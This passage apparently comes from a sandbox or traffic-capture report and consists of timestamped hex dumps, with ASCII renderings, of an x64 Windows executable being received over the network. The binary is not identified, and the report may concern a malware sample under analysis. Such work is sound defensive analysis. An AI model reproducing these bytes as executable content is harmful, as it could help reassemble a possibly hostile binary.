7d 03 41 8b c1 03 c1 41 3b c2 41 0f 4f c2 41 89 00 eb 22 7e 20 8b c1 41 2b c2 99 f7 ff 85 c0 74 05 41 3b c1 7d 03 41 8b c1 2b c8 41 3b ca 41 0f 4c ca 41 89 08 b0 01 48 8b 5c 24 08 48 8b Data Ascii: H\$WH IcHCLco3fD_H\$0H _H\$H\|$H\$(ALD$0DDD;uA9u2D;} A+tA;}AA;O&D;~!A+tA;}AD+D;DLDAA;}"A+tA;}AA;AOA"~ A+tA;}A+A;ALAH\$H
2022-08-04 11:37:13 UTC	3791	IN	Data Raw: 00 83 fe 05 0f 8f 6c 02 00 00 83 fe 04 7d 5f 85 f6 0f 84 da 4a 00 00 83 ee 01 0f 84 82 0d 00 00 83 ee 01 74 33 83 fe 01 0f 85 78 0e 00 00 4c 8b db 48 89 9c 24 f0 01 00 00 e9 71 0d 00 00 4c 8b 9c 24 f0 01 00 00 e9 1b ff ff ff 44 8b 8c 24 f8 01 00 00 e9 2b ff ff ff 48 63 87 b4 00 00 00 48 03 87 80 00 00 00 48 3b d8 e9 3b 0d 00 00 85 c9 0f 84 4d 01 00 00 48 3b 9f 80 00 00 00 0f 84 a2 00 00 00 48 8d 53 ff eb 03 48 ff ca 8a 02 24 c0 3c 80 74 f5 48 3b 97 a0 00 00 00 73 07 48 89 97 a0 00 00 00 44 0f b6 02 41 81 f8 c0 00 00 00 72 58 41 8b c0 4c 8d 15 26 b9 fb ff 83 e0 3f 42 0f b6 8c 10 b0 ca 09 00 4c 8b d9 41 8b 84 8a 90 ca 09 00 44 8d 0c 49 41 ba 01 00 00 00 41 23 c0 45 03 c9 44 8b c0 41 8b c9 41 d3 e0 eb 17 42 0f b6 04 12 41 83 e9 06 83 e0 3f 41 8b c9 d3 e0 44 Data Ascii: l}_Jt3xLH$qL$D$+HcHH;;MH;HSH$<tH;sHDArXAL&?BLADIAA#EDAABA?AD
2022-08-04 11:37:13 UTC	3792	IN	Data Raw: 45 85 c9 7f e7 41 81 f8 00 01 00 00 0f 83 5d fe ff ff 48 8b 47 48 41 f6 04 00 04 0f 84 4e fe ff ff e9 81 00 00 00 48 3b 9f 88 00 00 00 0f 83 72 05 00 00 44 0f b6 03 48 ff c3 85 c9 74 51 41 81 f8 c0 00 00 00 72 48 41 8b c0 48 8d 15 90 b5 fb ff 83 e0 3f 44 0f b6 8c 10 b0 ca 09 00 49 8b c1 42 8b 94 8a 90 ca 09 00 43 8d 0c 49 44 23 c2 03 c9 41 d3 e0 eb 14 0f b6 03 83 e9 06 41 ff c9 83 e0 3f d3 e0 44 0b c0 48 ff c3 45 85 c9 7f e7 41 81 f8 00 01 00 00 73 0f 48 8b 47 48 41 f6 04 00 04 0f 85 c8 fd ff ff 49 ff c2 4c 89 94 24 e8 01 00 00 e9 de 3d 00 00 48 3b 9f 88 00 00 00 0f 83 e1 04 00 00 44 0f b6 03 48 ff c3 85 c9 74 51 41 81 f8 c0 00 00 00 72 48 41 8b c0 48 8d 15 ff b4 fb ff 83 e0 3f 44 0f b6 8c 10 b0 ca 09 00 49 8b c1 42 8b 94 8a 90 ca 09 00 43 8d 0c 49 44 23 Data Ascii: EA]HGHANH;rDHtQArHAH?DIBCID#AA?DHEAsHGHAIL$=H;DHtQArHAH?DIBCID#
2022-08-04 11:37:13 UTC	3808	IN	Data Raw: 24 f8 01 00 00 4c 8b 84 24 f0 01 00 00 ff c0 49 8d 52 03 48 8b cb 89 44 24 40 8b 84 24 08 02 00 00 c7 44 24 38 01 00 00 00 48 83 64 24 30 00 89 44 24 28 48 89 7c 24 20 e8 94 ba ff ff 83 f8 01 0f 84 f3 07 00 00 85 c0 74 0b 3d 1c fc ff ff 0f 85 8d 28 00 00 4c 8b 94 24 e8 01 00 00 48 63 c5 4c 03 d0 e9 e1 02 00 00 41 0f b6 4a 04 41 0f b6 42 05 c1 e1 08 0b c8 44 8d 04 09 44 3b 84 24 f8 01 00 00 7d 11 48 8b 47 10 49 63 c8 83 3c 88 00 0f 8d 95 02 00 00 83 64 24 64 00 83 fa 65 0f 85 e8 02 00 00 48 8b 6f 30 45 33 c9 41 d1 f8 44 3b 4f 28 44 89 4c 24 60 0f 8d cf 02 00 00 0f b6 4d 00 0f b6 45 01 c1 e1 08 0b c8 41 3b c8 74 10 48 63 47 2c 41 ff c1 48 03 e8 44 3b 4f 28 7c de 44 3b 4f 28 44 89 4c 24 60 0f 8d 9e 02 00 00 48 8b d5 48 3b 6f 30 76 62 48 63 47 2c 48 8d 4d 02 Data Ascii: $L$IRHD$@$D$8Hd$0D$(H\|$ t=(L$HcLAJABDD;$}HGIc<d$deHo0E3AD;O(DL$`MEA;tHcG,AHD;O(\|D;O(DL$`HH;o0vbHcG,HM
2022-08-04 11:37:13 UTC	3809	IN	Data Raw: 01 00 00 41 0f b6 42 01 44 8b 84 24 08 02 00 00 c1 e0 08 48 63 c8 41 0f b6 42 02 48 0b c8 4c 03 d1 4c 89 94 24 e8 01 00 00 41 80 3a 54 0f 84 75 ff ff ff eb 08 4c 8b 94 24 e8 01 00 00 41 80 3a 5d 74 0a 41 80 3a 54 0f 85 22 ba ff ff 41 0f b6 42 01 c1 e0 08 48 63 c8 41 0f b6 42 02 48 0b c8 4c 03 d1 41 80 3a 54 74 e4 41 80 3a 55 44 8b 8f ac 00 00 00 48 8b 9f 98 00 00 00 44 89 8c 24 f8 01 00 00 0f 84 d2 fe ff ff 48 3b dd 0f 84 c9 fe ff ff 8b 8c 24 08 02 00 00 49 8d 72 03 80 3e 19 75 13 41 0f b6 42 04 83 e1 f8 0b c1 8b c8 89 84 24 08 02 00 00 8b 84 24 20 02 00 00 4c 8b 84 24 f0 01 00 00 ff c0 41 80 3a 57 89 44 24 40 0f 85 0d 05 00 00 83 64 24 38 00 48 8b 84 24 10 02 00 00 48 8b d6 48 89 44 24 30 89 4c 24 28 48 8b cb 48 89 7c 24 20 e8 d7 b5 ff ff 85 c0 0f 85 e0 Data Ascii: ABD$HcABHLL$A:TuL$A:]tA:T"ABHcABHLA:TtA:UDHD$H;$Ir>uAB$$ L$A:WD$@d$8H$HHD$0L$(HH\|$
2022-08-04 11:37:13 UTC	3825	IN	Data Raw: 50 48 8b 8a 90 02 00 00 33 f6 49 8b f8 48 8b da 48 3b ce 0f 84 a2 00 00 00 48 8b 84 24 80 00 00 00 66 39 30 74 50 ff 82 98 02 00 00 4c 63 83 98 02 00 00 49 63 d1 c7 44 24 20 09 00 00 00 49 89 53 e8 4d 8d 4b c8 ba 3e 13 00 00 49 89 43 d8 ff 15 54 ae 04 00 8b 8b 98 02 00 00 83 c8 ff 89 8b 9c 02 00 00 c6 83 a4 02 00 00 01 66 89 87 ec 00 00 00 b0 01 eb 47 44 8b 82 a0 02 00 00 40 38 72 68 74 10 44 8b 82 9c 02 00 00 83 c8 ff 89 82 9c 02 00 00 48 8d 0d 47 9b 07 00 e8 72 fd ff ff 40 88 b3 a4 02 00 00 40 38 73 68 74 0f 48 8b 0b 33 d2 44 8d 42 01 ff 15 86 ad 04 00 32 c0 48 8b 5c 24 60 48 8b 74 24 68 48 83 c4 50 5f c3 cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 70 8b 8c 24 c8 00 00 00 b8 02 00 00 00 49 8b d8 83 f9 ff 4c 8b d2 0f 44 c8 83 f9 10 7d 02 0b c8 Data Ascii: PH3IHH;H$f90tPLcIcD$ ISMK>ICTfGD@8rhtDHGr@@8shtH3DB2H\$`Ht$hHP_H\$Ht$WHp$ILD}
2022-08-04 11:37:14 UTC	3826	IN	Data Raw: ba f0 ff ff ff 4c 63 c0 48 8b 05 9a 98 07 00 48 8b 0c f0 49 0f ba e8 10 48 8b 09 48 8b 09 ff 15 ed a7 04 00 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 8b 7c 24 48 48 83 c4 20 41 5c c3 cc cc 40 53 48 83 ec 20 48 8b d9 48 85 d2 74 0b e8 1d 0b ff ff 89 83 b8 00 00 00 48 8b 83 a0 00 00 00 48 63 8b b8 00 00 00 48 8b 0c c8 48 8b 01 c6 80 99 00 00 00 00 c6 80 98 00 00 00 00 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 41 54 41 55 48 83 ec 70 49 8b 88 80 00 00 00 49 8b 28 4d 8b e9 49 8b f0 4c 8b e2 48 85 c9 74 06 ff 15 aa 9e 04 00 33 c9 ff 15 1a a9 04 00 ba 5a 00 00 00 48 8b c8 48 8b d8 ff 15 39 9f 04 00 48 8b d3 33 c9 8b f8 ff 15 f4 a8 04 00 44 8b 94 24 c0 00 00 00 0f af bc 24 b0 00 00 00 4d 8b Data Ascii: LcHHIHHH\$0Hl$8Ht$@H\|$HH A\@SH HHtHHcHHH [H\$Hl$Ht$WATAUHpII(MILHt3ZHH9H3D$$M
2022-08-04 11:37:14 UTC	3842	IN	Data Raw: c3 44 30 9c 24 d1 00 00 00 88 44 24 40 40 38 73 02 74 05 44 30 5c 24 41 40 38 73 03 74 05 44 30 5c 24 42 40 38 73 04 74 08 44 30 9c 24 8b 00 00 00 48 8d 4c 24 30 ff 15 45 69 04 00 bd 01 01 00 00 41 bc 01 00 00 c0 40 38 33 75 06 40 38 73 01 74 1f 0f b6 47 32 48 8b 4f 28 41 b8 10 00 00 00 c1 e0 10 8b d5 4c 63 c8 4d 0b cc ff 15 48 6a 04 00 40 38 73 02 74 1f 0f b6 47 30 48 8b 4f 28 41 b8 11 00 00 00 c1 e0 10 8b d5 4c 63 c8 4d 0b cc ff 15 23 6a 04 00 8a 43 03 40 3a c6 74 49 40 38 73 02 75 1f 40 38 77 20 75 19 0f b6 47 31 ba 05 01 00 00 c1 e0 10 4c 63 c8 b8 01 00 00 e0 4c 0b c8 eb 14 40 3a c6 74 1f 0f b6 47 31 8b d5 c1 e0 10 4c 63 c8 4d 0b cc 48 8b 4f 28 41 b8 12 00 00 00 ff 15 d2 69 04 00 40 38 73 04 0f 84 b4 00 00 00 0f b6 47 35 48 8b 4f 28 41 b8 5b 00 00 00 Data Ascii: D0$D$@@8stD0\$A@8stD0\$B@8stD0$HL$0EiA@83u@8stG2HO(ALcMHj@8stG0HO(ALcM#jC@:tI@8su@8w uG1LcL@:tG1LcMHO(Ai@8sG5HO(A[
2022-08-04 11:37:14 UTC	3843	IN	Data Raw: ff ff 4c 8d 9c 24 30 01 00 00 49 8b 5b 10 49 8b 73 18 49 8b e3 5f c3 cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 48 81 ec 20 01 00 00 33 f6 48 8b da 48 8b f9 40 88 32 40 88 72 01 40 88 72 02 40 88 72 03 40 88 72 04 40 88 72 05 48 39 71 28 74 67 48 8d 4c 24 20 ff 15 21 65 04 00 b0 80 38 84 24 c0 00 00 00 74 06 38 44 24 30 75 09 40 38 77 1e 75 03 c6 03 01 38 84 24 c1 00 00 00 75 0a 40 38 77 1f 75 04 c6 43 01 01 38 44 24 31 75 0a 40 38 77 20 75 04 c6 43 02 01 38 44 24 32 75 0a 40 38 77 21 75 04 c6 43 03 01 38 44 24 7b 0f 85 db 00 00 00 e9 cc 00 00 00 b9 a0 00 00 00 ff 15 aa 64 04 00 bd 00 80 00 00 66 85 c5 75 10 b9 a0 00 00 00 ff 15 ad 64 04 00 66 85 c5 74 09 40 38 77 1e 75 03 c6 03 01 b9 a1 00 00 00 ff 15 7c 64 04 00 66 85 Data Ascii: L$0I[IsI_H\$Hl$Ht$WH 3HH@2@r@r@r@r@rH9q(tgHL$ !e8$t8D$0u@8wu8$u@8wuC8D$1u@8w uC8D$2u@8w!uC8D${dfudft@8wu\|df
2022-08-04 11:37:14 UTC	3859	IN	Data Raw: d5 49 8b cd c7 44 24 28 02 00 00 00 89 44 24 20 e8 3c 75 ff ff 8b 84 24 90 00 00 00 44 8b 8c 24 88 00 00 00 89 74 24 28 44 8b c3 89 44 24 20 e9 06 01 00 00 48 8b 85 e0 00 00 00 39 70 18 0f 88 36 ff ff ff 8b 84 24 90 00 00 00 44 8b 8c 24 88 00 00 00 8b df 83 e3 fe 48 8b d5 49 8b cd 44 8b c3 c7 44 24 28 03 00 00 00 89 44 24 20 e8 df 74 ff ff 8b 84 24 a0 00 00 00 44 8b 8c 24 98 00 00 00 44 8b c3 48 8b d5 49 8b cd 89 74 24 28 89 44 24 20 e8 ba 74 ff ff 8b 84 24 80 00 00 00 89 74 24 28 89 44 24 20 e9 89 00 00 00 8b 84 24 80 00 00 00 45 8b cc 44 8b c3 48 8b d5 49 8b cd c7 44 24 28 03 00 00 00 89 44 24 20 e8 82 74 ff ff 8b 84 24 90 00 00 00 44 8b 8c 24 88 00 00 00 44 8b c3 48 8b d5 49 8b cd 89 74 24 28 89 44 24 20 e8 5d 74 ff ff 8b 84 24 a0 00 00 00 44 8b 8c 24 Data Ascii: ID$(D$ <u$D$t$(DD$ H9p6$D$HIDD$(D$ t$D$DHIt$(D$ t$t$(D$ $EDHID$(D$ t$D$DHIt$(D$ ]t$D$
2022-08-04 11:37:14 UTC	3860	IN	Data Raw: dd 0f 07 00 44 0f 4f c2 48 8d 54 24 70 33 db 44 89 44 24 5c 4c 8d 44 24 28 89 44 24 3c 89 5c 24 40 e8 1b 7d fe ff 4c 8d 4c 24 38 45 33 c0 ba 4d 10 00 00 48 8b ce ff 15 6d 22 04 00 4c 8b e8 83 f8 ff 0f 84 85 fe ff ff 4c 8d 0d a6 0f 07 00 4c 8d 44 24 28 48 8d 54 24 70 48 8d 0d 81 0f 07 00 e8 dc 7c fe ff 3a c3 0f 84 b8 00 00 00 41 3b ff 89 7c 24 40 0f 8f 90 00 00 00 66 39 5c 24 70 74 1f 4c 8d 4c 24 38 4d 63 c5 ba 74 10 00 00 48 8b ce ff 15 12 22 04 00 48 3b c3 0f 84 2d fe ff ff 40 f6 c5 01 74 5d 4c 8d 4c 24 70 45 33 c0 ba 57 10 00 00 48 8b ce ff 15 ed 21 04 00 48 63 ef ba 1d 10 00 00 8d 58 0c b8 96 00 00 00 4c 8b c5 3b d8 48 8b ce 0f 4f d8 45 33 c9 ff 15 c9 21 04 00 48 63 cb 48 3b c1 7f 15 44 0f b7 cb 4c 8b c5 ba 1e 10 00 00 48 8b ce ff 15 ac 21 04 00 8b 6c Data Ascii: DOHT$p3DD$\LD$(D$<\$@}LL$8E3MHm"LLLD$(HT$pH\|:A;\|$@f9\$ptLL$8MctH"H;-@t]LL$pE3WH!HcXL;HOE3!HcH;DLH!l
2022-08-04 11:37:14 UTC	3876	IN	Data Raw: 48 8b 59 18 ba 01 00 00 00 e8 c3 ff ff ff 48 8b cb 48 85 db 75 ea 48 83 c4 20 5b c3 cc cc cc cc cc 40 53 48 83 ec 20 48 8b d9 48 83 c1 10 e8 fe 62 fb ff 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b f9 e8 fe 68 ff ff 33 db 3a c3 75 0c 48 8b cf e8 e0 68 ff ff 3a c3 74 05 bb 01 00 00 00 8a c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 33 ff 48 8b d9 66 39 39 0f 84 b6 00 00 00 48 8d 15 31 2d 04 00 e8 c8 d2 fb ff 3b c7 0f 84 a2 00 00 00 48 8d 15 ed 2c 04 00 48 8b cb e8 b1 d2 fb ff 3b c7 75 08 8d 47 02 e9 8c 00 00 00 48 8d 15 2a 49 04 00 48 8b cb e8 96 d2 fb ff 3b c7 75 07 b8 03 00 00 00 eb 72 48 8d 15 20 49 04 00 48 8b cb e8 7c d2 fb ff 3b c7 74 4b 48 8d 15 1d 49 04 00 48 8b cb Data Ascii: HYHHuH [@SH HHbHH [H\$WH Hh3:uHh:tH\$0H _H\$WH 3Hf99H1-;H,H;uGH*IH;urH IH\|;tKHIH
2022-08-04 11:37:14 UTC	3877	IN	Data Raw: ff ff 48 8d 4c 24 60 e8 95 70 fe ff 3a c3 e9 46 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 55 41 56 b8 00 11 00 00 e8 4d 6e fd ff 48 2b e0 48 8b da 48 8d 94 24 60 04 00 00 33 ff 45 8a e1 45 8a e8 40 8a f7 e8 4f b3 fb ff 48 8d 94 24 70 06 00 00 48 8b cb e8 3f b3 fb ff 48 8d 94 24 70 06 00 00 48 8d 8c 24 60 04 00 00 e8 6a 6f fe ff 48 8d 8c 24 60 04 00 00 44 8a f0 e8 0a 70 fe ff 40 3a c7 74 14 48 8d 15 fe 43 04 00 48 8d 8c 24 60 04 00 00 e8 51 cf fb ff 48 8d 8c 24 70 06 00 00 e8 e4 6f fe ff 40 3a c7 74 14 48 8d 15 d8 43 04 00 48 8d 8c 24 70 06 00 00 e8 2b cf fb ff 48 8d 84 24 f0 0e 00 00 4c 8d 8c 24 d0 0a 00 00 4c 8d 84 24 e0 0c 00 00 48 8d 54 24 30 48 8d 8c 24 60 04 00 00 48 89 44 24 Data Ascii: HL$`p:FHHXHhHpHx ATAUAVMnH+HH$`3EE@OH$pH?H$pH$`joH$`Dp@:tHCH$`QH$po@:tHCH$p+H$L$L$HT$0H$`HD$
2022-08-04 11:37:14 UTC	3893	IN	Data Raw: ff 48 63 c8 48 03 e9 b9 00 30 00 00 44 88 7d 00 48 ff c5 48 8b d5 e8 66 da fd ff 48 63 c8 48 03 e9 48 8b 5c 24 70 4c 8b 94 24 00 02 00 00 44 8b 4c 24 78 e9 c7 fb ff ff 83 fa 12 0f 85 7c 01 00 00 41 8b d1 8b ca 41 b8 ff 00 00 00 83 e9 01 74 12 83 e9 03 74 05 83 f9 10 75 0e 41 b8 fe 00 00 00 eb 06 41 b8 fd 00 00 00 48 63 c2 ff c2 44 08 84 04 d8 00 00 00 83 fa 20 7c c9 44 8b 5c 24 7c 45 3b d9 74 9c c6 45 00 02 48 ff c5 b9 00 01 00 00 48 8b d5 41 bf 01 00 00 00 e8 e2 d9 fd ff 48 63 c8 48 03 e9 b9 7f 16 00 00 48 8b d5 e8 cf d9 fd ff 48 63 c8 48 03 e9 b9 81 16 00 00 c6 45 00 02 48 ff c5 48 8b d5 e8 b5 d9 fd ff 48 63 c8 48 03 e9 b9 0d 18 00 00 48 8b d5 e8 a2 d9 fd ff 48 63 c8 48 03 e9 b9 0f 18 00 00 c6 45 00 02 48 ff c5 48 8b d5 e8 88 d9 fd ff 48 63 c8 48 03 e9 Data Ascii: HcH0D}HHfHcHH\$pL$DL$x\|AAttuAAHcD \|D\$\|E;tEHHAHcHHHcHEHHHcHHHcHEHHHcH
2022-08-04 11:37:14 UTC	3894	IN	Data Raw: f8 01 00 00 44 8b 8c 24 80 00 00 00 48 8d 4c 24 70 44 8b 40 60 49 8b d2 c7 44 24 20 01 00 00 00 e8 6c e5 fd ff 4c 8b 94 24 d8 01 00 00 45 33 c9 44 8b d8 45 39 0a 0f 85 cc 04 00 00 41 3b c1 7d 1c 83 f8 fb 75 0e 48 8b 5c 24 70 41 8d 43 0d 44 8b d8 eb 13 83 f8 ea 75 39 44 8d 58 6e 48 8b 5c 24 70 b8 08 00 00 00 44 3b de 0f 8c 27 06 00 00 74 33 b8 0d 00 00 00 44 3b d8 74 06 41 83 fb 0a 75 5d 4c 8b a4 24 f8 01 00 00 41 83 4c 24 74 20 eb 55 83 f8 ef 75 06 44 8d 58 63 eb c0 49 8b dc 48 89 5c 24 70 44 8b 5c 24 7c 45 3b d9 0f 84 6c 01 00 00 81 fe ff 00 00 00 7f 17 f6 84 24 80 00 00 00 01 0f 84 56 01 00 00 83 fe 7f 0f 8e 4d 01 00 00 41 bf 01 00 00 00 8b ce e9 2d fb ff ff 4c 8b a4 24 f8 01 00 00 44 39 4c 24 7c 74 70 41 81 fb ff 00 00 00 7f 12 8b 8c 24 80 00 00 00 f6 Data Ascii: D$HL$pD@`ID$ lL$E3DE9A;}uH\$pACDu9DXnH\$pD;'t3D;tAu]L$AL$t UuDXcIH\$pD\$\|E;l$VMA-L$D9L$\|tpA$
2022-08-04 11:37:14 UTC	3910	IN	Data Raw: 8b ce 48 83 60 30 00 48 8b 03 48 83 60 38 00 48 8b 13 4c 8b 47 30 48 83 c2 30 e8 82 ff ff ff 48 8b 1b 48 8b 7f 38 48 83 c3 38 eb 8d 48 83 23 00 48 8b 74 24 38 48 8b 5c 24 30 48 83 c4 20 5f c3 cc 40 53 48 83 ec 20 4c 8b c1 48 8b d9 e8 cf d4 fa ff 84 c0 74 05 48 8b 03 eb 02 33 c0 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 48 83 21 00 8b 42 08 48 8b d9 89 41 08 85 c0 79 04 83 61 08 00 4c 8b 02 48 8b d1 e8 0a ff ff ff 48 8b c3 48 83 c4 20 5b c3 cc 40 53 48 83 ec 20 48 8d 05 c3 c4 03 00 48 8b d9 48 89 01 e8 98 73 ff ff 48 8b 4b 50 ff 15 16 53 03 00 48 8b 4b 58 ff 15 0c 53 03 00 48 8b 4b 10 e8 6b 47 fb ff 48 8d 4b 28 ff 15 29 51 03 00 4c 8d 1d 92 c4 03 00 4c 89 1b 48 83 c4 20 5b c3 cc 40 53 48 83 ec 20 48 8d 05 23 c4 03 00 48 Data Ascii: H`0HH`8HLG0H0HH8H8H#Ht$8H\$0H _@SH LHtH3H [@SH H!BHAyaLHHH [@SH HHHsHKPSHKXSHKkGHK()QLLH [@SH H#H
2022-08-04 11:37:14 UTC	3911	IN	Data Raw: 8b d6 48 8b c8 e8 d7 ef fa ff 48 85 c0 75 19 48 8b d6 4c 8b c7 48 8d 0d 8d 43 06 00 e8 c0 ef fa ff 48 85 c0 75 02 33 db 48 8b 74 24 38 8a c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 4c 24 08 57 48 83 ec 20 48 8d 0d 72 43 06 00 33 db 48 8b fa 89 5c 24 30 e8 dc d3 fd ff 3a c3 75 26 48 8d 0d 59 43 06 00 e8 bc d3 fd ff 4c 8d 44 24 30 48 8b d7 48 8b c8 e8 5c ef fa ff 48 3b c3 74 05 83 c8 ff eb 1c 4c 8d 44 24 30 48 8d 0d 0e 43 06 00 48 8b d7 e8 3e ef fa ff 48 3b c3 0f 95 c3 8b c3 48 8b 5c 24 38 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 81 ec c0 0a 00 00 48 8b da 48 8d 94 24 80 02 00 00 41 8a f8 e8 d0 2a fb ff 48 8d 54 24 70 48 8b cb e8 c3 2a fb ff 48 8d 8c 24 80 02 00 00 e8 a6 e7 fd ff 33 db 3a c3 Data Ascii: HHuHLHCHu3Ht$8H\$0H _H\$HL$WH HrC3H\$0:u&HYCLD$0HH\H;tLD$0HCH>H;H\$8H _H\$WHHH$AHT$pHH$3:
2022-08-04 11:37:14 UTC	3927	IN	Data Raw: 24 38 4c 8d 44 24 48 48 8d 0d 43 05 06 00 8b d0 e8 5c a7 fe ff 85 c0 74 19 48 8b 54 24 48 48 8b cb e8 3b c7 fa ff 48 8b 4c 24 48 e8 11 04 fb ff eb 25 48 8b 07 45 33 c0 48 63 48 04 41 8d 50 01 48 03 cf e8 39 96 fa ff 48 8d 15 52 50 03 00 48 8b cb e8 0a c7 fa ff 33 c0 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 48 8b 42 08 49 8b d8 48 8b 08 e8 db a1 fa ff 4c 8d 4c 24 38 4c 8d 44 24 48 48 8d 0d ba 04 06 00 8b d0 e8 d3 a6 fe ff 85 c0 74 1f 48 8b cb e8 77 13 fa ff 8b 44 24 38 48 8b 4c 24 48 89 03 c7 43 08 01 00 00 00 e8 80 03 fb ff 33 c0 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 49 8b c8 49 8b f8 48 8b da e8 38 13 fa ff 83 27 00 c7 47 08 01 00 00 00 48 8b 43 08 48 8b 08 e8 62 a1 fa ff Data Ascii: $8LD$HHC\tHT$HH;HL$H%HE3HcHAPH9HRPH3H\$0H _@SH HBIHLL$8LD$HHtHwD$8HL$HC3H [H\$WH IIH8'GHCHb
2022-08-04 11:37:14 UTC	3928	IN	Data Raw: 8b cb 48 8b f8 e8 17 10 fa ff 33 ed 89 2b c7 43 08 01 00 00 00 0f b7 07 66 3b c5 74 2d 0f b7 c8 e8 34 0e fb ff 3b c5 74 21 48 83 c7 02 66 8b 07 66 3b c5 75 e8 48 8b cb e8 e4 0f fa ff c7 43 08 01 00 00 00 c7 03 01 00 00 00 48 8b 5c 24 30 48 8b 6c 24 38 33 c0 48 83 c4 20 5f c3 cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 57 48 83 ec 20 48 8b 42 08 49 8b d8 48 8b 08 e8 f2 b6 ff ff 48 8b cb 48 8b f8 e8 97 0f fa ff 33 ed 89 2b c7 43 08 01 00 00 00 0f b7 07 66 3b c5 74 2d 0f b7 c8 e8 a8 0d fb ff 3b c5 74 21 48 83 c7 02 66 8b 07 66 3b c5 75 e8 48 8b cb e8 64 0f fa ff c7 43 08 01 00 00 00 c7 03 01 00 00 00 48 8b 5c 24 30 48 8b 6c 24 38 33 c0 48 83 c4 20 5f c3 cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 57 48 83 ec 20 48 8b 42 08 49 8b d8 48 8b 08 e8 72 b6 ff ff Data Ascii: H3+Cf;t-4;t!Hff;uHCH\$0Hl$83H _H\$Hl$WH HBIHHH3+Cf;t-;t!Hff;uHdCH\$0Hl$83H _H\$Hl$WH HBIHr
2022-08-04 11:37:14 UTC	3944	IN	Data Raw: 48 83 7a 10 02 48 8b 42 08 49 8b f0 72 1c 48 8b 48 08 48 8b 18 e8 57 77 ff ff 48 8b cb 48 8b f8 e8 4c 77 ff ff 48 8b d7 eb 0a 48 8b 08 e8 3f 77 ff ff 33 d2 48 8b c8 ff 15 dc ca 02 00 48 8b ce 8b d8 e8 da cf f9 ff 89 1e 48 8b 5c 24 30 c7 46 08 01 00 00 00 48 8b 74 24 38 33 c0 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 b8 20 00 01 00 e8 14 62 fc ff 48 2b e0 33 c0 49 8b d8 66 89 44 24 20 48 8b 42 08 48 8b 08 e8 db 76 ff ff 48 8d 54 24 20 41 b8 ff 7f 00 00 48 8b c8 ff 15 67 ca 02 00 48 8d 54 24 20 48 8b cb e8 aa 82 fa ff 33 c0 48 81 c4 20 00 01 00 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b 42 08 49 8b d8 48 8b 08 e8 77 5d fa ff 85 c0 75 04 33 c9 eb 05 b9 01 00 00 00 ff 15 1c d3 02 00 48 8b Data Ascii: HzHBIrHHHWwHHLwHH?w3HHH\$0FHt$83H _@S bH+3IfD$ HBHvHT$ AHgHT$ H3H [H\$WH HBIHw]u3H
2022-08-04 11:37:14 UTC	3945	IN	Data Raw: 1f 48 8b 5c 24 40 0f 28 74 24 20 c7 47 08 02 00 00 00 33 c0 48 83 c4 30 5f c3 cc cc cc cc cc cc cc 40 53 48 83 ec 30 48 8b 42 08 0f 29 74 24 20 49 8b d8 48 8b 08 e8 16 9b f9 ff e8 6d 10 fb ff 48 8b cb 66 0f 28 f0 e8 d5 cb f9 ff c7 43 08 03 00 00 00 f2 0f 11 33 33 c0 0f 28 74 24 20 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 30 48 8b 5a 08 0f 29 74 24 20 49 8b f0 48 8b 0b e8 bd 54 fe ff 84 c0 74 3e 48 8b 4b 08 e8 b0 54 fe ff 84 c0 74 31 48 8b 4b 08 48 8b 1b e8 b0 59 fa ff 48 8b cb 8b f8 e8 a6 59 fa ff 48 8b ce 99 f7 ff 8b da e8 59 cb f9 ff c7 46 08 01 00 00 00 89 1e e9 84 00 00 00 48 8b 0b e8 63 eb fe ff 84 c0 74 40 48 8b 4b 08 e8 56 eb fe ff 84 c0 74 33 48 8b 4b 08 48 8b 1b e8 26 4a fe ff 48 8b cb 48 Data Ascii: H\$@(t$ G3H0_@SH0HB)t$ IHmHf(C33(t$ H0[H\$Ht$WH0HZ)t$ IHTt>HKTt1HKHYHYHYFHct@HKVt3HKH&JHH
2022-08-04 11:37:14 UTC	3961	IN	Data Raw: b9 01 00 00 00 0f 29 74 24 40 49 8b f0 48 8b fa ff 15 53 86 02 00 48 8b ce 8b d8 e8 01 8c f9 ff 83 26 00 c7 46 08 01 00 00 00 48 8b 47 08 48 8b 08 e8 0b 2b fa ff 48 8b 08 48 89 4c 24 20 48 8b 48 08 48 89 4c 24 28 48 8b 48 10 48 89 4c 24 30 48 8b 40 18 48 8d 4c 24 20 48 89 44 24 38 ff 00 48 8b 54 24 28 48 ff ca e8 e4 32 f9 ff 66 83 38 5c 74 11 48 8d 15 f3 ce 02 00 48 8d 4c 24 20 e8 8d 29 fa ff 48 8b 4c 24 20 4c 8d 8c 24 80 00 00 00 4c 8d 84 24 88 00 00 00 48 8d 54 24 78 ff 15 1d 86 02 00 85 c0 74 28 66 0f ef f6 48 8b ce f2 48 0f 2a 74 24 78 f2 0f 59 35 2b 4e 03 00 e8 5e 8b f9 ff f2 0f 11 36 c7 46 08 03 00 00 00 eb 17 48 